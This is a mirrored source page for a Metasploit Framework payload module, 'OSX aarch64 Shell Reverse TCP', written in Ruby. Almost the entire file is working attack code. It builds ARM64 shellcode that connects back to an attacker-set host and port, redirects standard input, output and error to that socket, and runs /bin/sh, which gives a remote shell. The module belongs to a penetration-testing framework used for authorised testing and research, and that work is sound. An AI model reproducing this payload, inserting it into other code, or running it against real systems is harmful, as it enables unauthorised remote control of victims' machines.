CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/aarch64/shell_reverse_tcp.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 188
8
9
include Msf::Payload::Single
10
11
def initialize(info = {})
12
super(
13
merge_info(
14
info,
15
'Name' => 'OSX aarch64 Shell Reverse TCP',
16
'Description' => 'Connect back to attacker and spawn a command shell',
17
'Author' => [ 'alanfoster' ],
18
'License' => MSF_LICENSE,
19
'Platform' => 'osx',
20
'Arch' => ARCH_AARCH64,
21
'Handler' => Msf::Handler::ReverseTcp,
22
'Session' => Msf::Sessions::CommandShellUnix
23
)
24
)
25
26
# exec payload options
27
register_options(
28
[
29
OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
30
Opt::LHOST,
31
Opt::LPORT(4444)
32
]
33
)
34
end
35
36
# build the shellcode payload dynamically based on the user-provided CMD
37
def generate(_opts = {})
38
# Split the cmd string into arg chunks
39
cmd_str = datastore['CMD']
40
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
41
42
cmd = cmd_and_args[0]
43
args = cmd_and_args[1..]
44
45
# Don't smash the real sp register, re-create our own on the x9 scratch register
46
stack_register = :x9
47
cmd_string_in_x0 = create_aarch64_string_in_stack(
48
cmd,
49
registers: {
50
destination: :x0,
51
stack: stack_register
52
}
53
)
54
55
lport = datastore['LPORT'].to_i
56
lhost = datastore['LHOST']
57
58
lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
59
lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }
60
61
result = <<~EOF
62
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
63
// socket:
64
mov x0, 0x2 // x0 = AF_INET
65
mov x1, 0x1 // x1 = SOCK_STREAM
66
mov x2, 0 // x2 = IPPROTO_IP
67
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
68
movk x16, #0x0061
69
svc 0 // system call
70
71
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
72
mov x13, x0
73
74
// connect(sockfd, socket={AF_INET,#{lport},#{lhost}}, socklen_t=16)
75
// connect:
76
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
77
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
78
movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})
79
movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
80
movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
81
str x1, [sp, #-8]!
82
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
83
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
84
85
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
86
movz x16, #0x0200, lsl #16 // x16 = SYS_CONNECT 0x2000062
87
movk x16, #0x0062
88
svc 0
89
90
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
91
// dup2_calls:
92
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
93
movk x16, #0x005a
94
mov x0, x13 // x0 = socket
95
movz x1, 0 // x1 = STDIN
96
svc 0 // system call
97
mov x0, x13 // x0 = socket
98
movz x1, 1 // x1 = STDOUT
99
svc 0 // system call
100
mov x0, x13 // x0 = socket
101
movz x1, 2 // x1 = STDERR
102
svc 0 // system call
103
104
// int execve(const char *path, char *const argv[], char *const envp[]);
105
// exec_call:
106
// Set system call SYS_EXECVE 0x200003b in x16
107
movz x16, #0x0200, lsl #16
108
movk x16, #0x003b
109
110
mov #{stack_register}, sp // Temporarily move SP into scratch register
111
112
// Arg 0: execve - const char *path - Pointer to the program name to run
113
#{cmd_string_in_x0}
114
115
// Push execve arguments, using x1 as a temporary register
116
#{args.each_with_index.map do |value, index|
117
"// Push argument #{index}\n" +
118
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
119
end.join("\n")
120
}
121
122
// Arg 1: execve - char *const argv[] - program arguments
123
#{cmd_and_args.each_with_index.map do |value, index|
124
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
125
[
126
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
127
"mov x1, #{stack_register}",
128
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
129
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
130
].join("\n") + "\n"
131
end.join("\n")}
132
133
// argv[#{cmd_and_args.length}] = NULL
134
str xzr, [#{stack_register}], #8
135
136
// Set execve arg1 to the base of the argv array of pointers
137
mov x1, #{stack_register}
138
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
139
140
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
141
mov x2, xzr
142
// System call
143
svc #0
144
EOF
145
146
compile_aarch64(result)
147
end
148
149
def create_aarch64_string_in_stack(string, registers: {})
150
target = registers.fetch(:destination, :x0)
151
stack = registers.fetch(:stack, :x9)
152
153
# Instructions for pushing the bytes of the string 8 characters at a time
154
push_string = string.bytes
155
.each_slice(8)
156
.each_with_index
157
.flat_map do |eight_byte_chunk, _chunk_index|
158
mov_instructions = eight_byte_chunk
159
.each_slice(2)
160
.each_with_index
161
.map do |two_byte_chunk, index|
162
two_byte_chunk = two_byte_chunk.reverse
163
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
164
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
165
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
166
end
167
[
168
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
169
*mov_instructions,
170
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
171
]
172
end
173
push_string = push_string.join("\n") + "\n"
174
175
set_target_register_to_base_of_string = <<~EOF
176
mov #{target}, #{stack} // Store the current stack location in the target register
177
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
178
EOF
179
180
result = <<~EOF
181
#{push_string}
182
#{set_target_register_to_base_of_string}
183
EOF
184
185
result
186
end
187
188
def align(value, alignment: 8)
189
return value if value % alignment == 0
190
191
value + (alignment - (value % alignment))
192
end
193
194
def compile_aarch64(asm_string)
195
require 'aarch64/parser'
196
parser = ::AArch64::Parser.new
197
asm = parser.parse without_inline_comments(asm_string)
198
199
asm.to_binary
200
end
201
202
# Remove any human readable comments that have been inlined
203
def without_inline_comments(string)
204
comment_delimiter = '//'
205
result = string.lines(chomp: true).map do |line|
206
instruction, _comment = line.split(comment_delimiter, 2)
207
next if instruction.blank?
208
209
instruction
210
end.compact
211
result.join("\n") + "\n"
212
end
213
end
214
215